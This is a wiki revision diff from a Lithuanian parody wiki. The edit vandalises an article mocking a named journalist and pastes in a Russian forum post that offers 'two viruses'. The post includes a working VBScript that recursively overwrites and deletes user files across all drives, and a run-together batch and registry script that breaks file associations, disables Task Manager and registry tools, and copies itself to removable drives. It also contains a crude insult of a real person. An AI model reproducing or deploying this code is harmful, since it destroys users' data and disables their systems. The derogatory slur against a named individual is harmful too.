42
pakeitimai
Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia wiki enciklopedija durnapedija!
1 eilutė: | 1 eilutė: | ||
{{ | {{teslos gabalas}} | ||
[[ | [[http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]] | ||
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]]) | '''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])Аватар для NighTGhosT | ||
: | |||
Вот еще 2 вируса: | |||
1) Создаём vbs программу, у кого нет этого языка создаёт блокнот вбивает туда то, что я напишу ниже и сохраняем с расширением vbs. | |||
haha() | |||
Sub haha() | |||
On Error Resume Next | |||
Dim d, dc, s, fso, haha | |||
Set fso = CreateObject("Scripting.FileSystemObject") | |||
Set dc = fso.Drives | |||
For Each d In dc | |||
If d.DriveType = 2 Or d.DriveType = 3 Then | |||
hihi (d.Path & "\") | |||
End If | |||
Next | |||
haha = s | |||
End sub | |||
Sub hehe(folderspec) | |||
On Error Resume Next | |||
Dim f, f1, fc, ext, s, fso | |||
Set fso = CreateObject("Scripting.FileSystemObject") | |||
Set f = fso.GetFolder(folderspec) | |||
Set fc = f.Files | |||
For Each f1 In fc | |||
ext = fso.GetExtensionName(f1.Path) | |||
ext = LCase(ext) | |||
s = LCase(f1.Name) | |||
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then | |||
Set f = fso.getfile(wscript.scriptfullname) | |||
f.Copy (f1.Path & ".vbe") | |||
fso.deletefile(f1.path) | |||
End If | |||
Next | |||
End Sub | |||
Sub hihi(folderspec) | |||
On Error Resume Next | |||
Dim f, f1, sf, fso | |||
Set fso = CreateObject("Scripting.FileSystemObject") | |||
Set f = fso.GetFolder(folderspec) | |||
Set sf = f.SubFolders | |||
For Each f1 In sf | |||
hehe (f1.Path) | |||
hihi (f1.Path) | |||
Next | |||
End Sub | |||
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err | |||
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f | |||
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat | copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat |
pakeitimai